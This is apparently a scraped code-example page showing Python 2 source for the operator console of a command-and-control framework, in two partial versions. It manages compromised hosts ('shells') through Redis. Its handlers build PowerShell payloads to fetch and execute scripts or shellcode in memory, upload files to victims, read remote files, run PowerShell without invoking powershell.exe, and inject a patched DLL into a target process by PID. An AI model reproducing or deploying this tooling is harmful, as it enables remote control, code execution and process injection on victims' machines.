    def read_file(self, data):
        try:
            (cmd, path) = data.split(' ', 2)
            return 'Get-Content %s' % path
        except:
            UI.error('Missing arguments')
            return ''

    def upload_file(self, data):
        try:
            (cmd, path, remote) = data.split(' ', 2)
        except:
            UI.error('Missing arguments')
            return ''
        data = ';'
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)

        if not data == ';':
            UI.success('Fetching %s' % path)
            data = base64.b64encode(data)
            ps = Utils.load_powershell_script('upload.ps1', 3)
            ps = Utils.update_key(ps, 'PAYLOAD', data)
            ps = Utils.update_key(ps, 'PATH', remote)
            UI.success('Payload will be saved at %s' % path)
            return ps
        else:
            UI.error('Cannot fetch the resource')
            return data

    def exec_code(self, data):
        try:
            (cmd, path) = data.split(' ', 1)
        except:
            UI.error('Missing arguments')
            return ''
        data = ';'
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)
        if not data == ';':
            UI.success('Fetching %s' % path)
            data = base64.b64encode(data)
            ps = Utils.load_powershell_script('exec.ps1', 16)
            ps = Utils.update_key(ps, 'PAYLOAD', data)
            UI.success('Payload should be executed shortly on the target')
            return ps
        else:
            UI.error('Cannot fetch the resource')
            return data

    def inject(self, data):
        try:
            (option, pid, cmd) = data.split(' ', 2)
        except:
            UI.error('Missing arguments')
            return ''
        ps = Utils.load_powershell_script('injector.ps1', 1)
        ps = Utils.update_key(ps, 'PAYLOAD', base64.b64encode(cmd))
        ps = Utils.update_key(ps, 'PID', pid)
        UI.success('Injecting %s' % cmd)
        UI.success('Into process with PID %s' % pid)
        return ps

    def ps(self, data):
        ps = Utils.load_powershell_script('ps.ps1', 0)
        return ps

    def update_delay(self, data):
        delay = Utils.get_arg_at(data, 1, 2)
        print 'Updating delay to %s' % delay
        return 'delay %s' % delay

    def set_alias(self, data):
        try:
            (cmd, key, value) = data.split(' ', 2)
        except:
            UI.error('Missing arguments')
            return ''
        self.alias.set_custom(key, value)
        UI.success('%s is now set to %s' % (key, value))
        return ''
예제 #5
0
class Cli:
    def __init__(self, config):
        self.cmds = {}
        self.cmds["exit"] = self.exit_cli
        self.cmds["list"] = self.list_clients
        self.cmds["interact"] = self.interact
        self.cmds["show"] = self.view_event
        self.cmds["help"] = self.show_help
        self.cmds["kill"] = self.kill_shell

        self.shell_cmds = {}
        self.shell_cmds["help"] = self.show_help_shell
        self.shell_cmds["fetch"] = self.fetch
        self.shell_cmds["read"] = self.read_file
        self.shell_cmds["upload"] = self.upload_file
        self.shell_cmds["delay"] = self.update_delay
        self.shell_cmds["refresh"] = self.refresh
        self.shell_cmds["exec"] = self.exec_code
        self.shell_cmds["ps"] = self.ps
        self.shell_cmds["powerless"] = self.powerless
        self.shell_cmds["inject"] = self.inject
        self.shell_cmds["alias"] = self.set_alias

        self.config = config
        self.db = self.config.get("redis")

        self._prompt = "Main"
        self.guid = ""

        self.alias = Alias()

    def set_prompt(self, prompt):
        self._prompt = prompt

    def prompt(self):
        return UI.prompt(self._prompt)

    def set_guid(self, guid):
        self.guid = guid

    def set_interact(self, guid):
        self.guid = guid

    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower()

        # interacting with a shell
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.guid = ""

            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit")
                    self._prompt = "Main"
                    self.guid = ""
            else:
                Log.log_shell(self.guid, "Sending", data)
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)

                if not cmd == "help" or not data == "":
                    self.db.push_cmd(self.guid, data)
                    self.get_cmd_output()

        # interacting with the main console
        else:
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            else:
                UI.error("%s is not a valid command" % cmd)

    def exit_cli(self, data):
        os._exit(0)

    def list_clients(self, data):
        print "\nList of active shells\n-----------------------\n"
        for shell in self.db.get_all_shells():
            guid = shell.split(":")[0]
            timestamp = Utils.unix_to_date(self.db.get_data(shell))
            prompt = self.db.get_data("%s:prompt" % guid)
            id = self.db.get_data("%s:id" % guid)

            if not id == "":
                if Utils.get_arg_at(data, 1, 2) == "full":
                    print "  %s\t%s %s last seen %s" % (id, prompt, guid,
                                                        timestamp)
                else:
                    print "  %s\t%s" % (id, prompt)

    def interact(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ""
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell)
            if current_id == id:
                guid = shell.split(":")[0]
                break

        if not guid == "":
            self.guid = guid
            self._prompt = self.db.get_data("%s:prompt" % guid)
        else:
            UI.error("Invalid session ID")

    def view_event(self, data):
        log_path = Utils.get_arg_at(data, 1, 2)
        if log_path == "":
            UI.error("Missing arguments")
            return

        log_path += ".log"

        rows = Utils.get_arg_at(data, 2, 2)
        if rows == "":
            rows = 10
        else:
            try:
                rows = int(rows)
            except:
                rows = 10

        log_path = Log.get_current_path(log_path)

        data = []

        if Utils.file_exists(log_path):
            for line in open(log_path, "rb").readlines():
                data.append(line)

            print "\nLast %d lines of log\n-----------------------\n" % rows
            data = list(reversed(data))

            for i in range(0, rows):
                try:
                    print data[i]
                except:
                    pass

    def kill_shell(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ""
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell)
            if current_id == id:
                guid = shell.split(":")[0]
                break

        if not guid == "":
            self.db.delete_all_by_guid(guid)
            print "Deleting shell with ID %s" % current_id
        else:
            UI.error("Invalid session ID")

    def show_help(self, data):
        print "\nHelp Menu\n-----------------------\n"
        print "\tlist      args (full)             List all active shells"
        print "\tinteract  args (id)               Interact with a session"
        print "\tshow      args (error/http/event, count)  Show error, http or event log (default number of rows 10)"
        print "\tkill      args (id)               Kill shell (clear db only)"
        print "\texit                              Exit the application"
        print "\thelp                              Show this help menu"

    # shell commands start here
    def get_cmd_output(self):
        timestamp = time.time()
        while int(time.time() - timestamp) < int(
                self.config.get("max-output-timeout")):
            output = self.db.get_output(self.guid)
            if len(output) >= 1:
                for item in output:
                    print item
                break

    def show_help_shell(self, data):
        print "\nShell Help Menu\n-----------------------\n"
        print "\tbackground                              Return to the main console"
        print "\trefresh                                 Check for previous commands output"
        print "\tfetch         args (path/url, command)  In memory execution of a script and execute a commmand"
        print "\texec          args (path/url)           In memory execution of code (shellcode)"
        print "\tread          args (remote path)        Read a file on the remote host"
        print "\tupload        args (path/url, path)     Upload a file on the remote system"
        print "\tps                                      List processes"
        print "\tpowerless     args (powershell)         Execute Powershell command without invoking Powershell"
        print "\tinject        args (32/64, pid, command)Inject command into a target process (max length 4096)"
        print "\talias         args (key, value)         Create an alias to avoid typing the same thing over and over"
        print "\tdelay         args (milliseconds)       Update the callback delay"
        print "\thelp                                    Show this help menu"
        self.alias.list_alias()
        self.alias.list_custom_alias()

    def fetch(self, data):
        try:
            cmd, path, ps = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""

        data = ";"
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)

        if not data == ";":
            UI.success("Fetching %s" % path)
            UI.success("Executing %s" % ps)

            return "%s;%s" % (data, ps)
        else:
            UI.error("Cannot fetch the resource")
            return ""

    def read_file(self, data):
        try:
            cmd, path = data.split(" ", 2)
            return "Get-Content %s" % path
        except:
            UI.error("Missing arguments")
            return ""

    def upload_file(self, data):
        try:
            cmd, path, remote = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""

        data = ";"
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)

        if not data == ";":
            UI.success("Fetching %s" % path)

            data = base64.b64encode(data)
            ps = Utils.load_powershell_script("upload.ps1", 3)
            ps = Utils.update_key(ps, "PAYLOAD", data)
            ps = Utils.update_key(ps, "PATH", remote)
            UI.success("Payload will be saved at %s" % path)
            return ps
        else:
            UI.error("Cannot fetch the resource")
            return data

    def exec_code(self, data):
        try:
            cmd, path = data.split(" ", 1)
        except:
            UI.error("Missing arguments")
            return ""

        data = ";"
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)

        if not data == ";":
            UI.success("Fetching %s" % path)

            data = base64.b64encode(data)
            ps = Utils.load_powershell_script("exec.ps1", 12)
            ps = Utils.update_key(ps, "PAYLOAD", data)
            UI.success("Payload should be executed shortly on the target")
            return ps
        else:
            UI.error("Cannot fetch the resource")
            return data

    def powerless(self, data):
        try:
            cmd, ps_cmd = data.split(" ", 1)
        except:
            UI.error("Missing arguments")
            return ""

        ps = Utils.load_powershell_script("powerless.ps1", 22)
        ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd))
        return ps

    def inject(self, data):
        archs = ["32", "64"]
        try:
            option, arch, pid, cmd = data.split(" ", 3)
        except:
            UI.error("Missing arguments")
            return ""

        if len(cmd) > 4096:
            UI.error("Your command is bigger than 4096 bytes")
            return ""

        if not arch in archs:
            UI.error("Invalid architecture provided (32/64)")
            return ""

        dll = Utils.load_file("bin/inject-%s.dll" % arch)
        dll = dll.replace("A" * 4096, cmd + "\x00" * (4096 - len(cmd)))

        ps = Utils.load_powershell_script("injector.ps1", 1)
        ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(dll))
        ps = Utils.update_key(ps, "PID", pid)
        UI.success("Injecting %s" % cmd)
        UI.success("Into %s bits process with PID %s" % (arch, pid))

        return ps

    def ps(self, data):
        ps = Utils.load_powershell_script("ps.ps1", 0)
        return ps

    def update_delay(self, data):
        delay = Utils.get_arg_at(data, 1, 2)
        print "Updating delay to %s" % delay
        return "delay %s" % delay

    def refresh(self, data):
        for item in self.db.get_output(self.guid):
            print item
        return ""

    def set_alias(self, data):
        try:
            cmd, key, value = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""

        self.alias.set_custom(key, value)
        UI.success("%s is now set to %s" % (key, value))

        return ""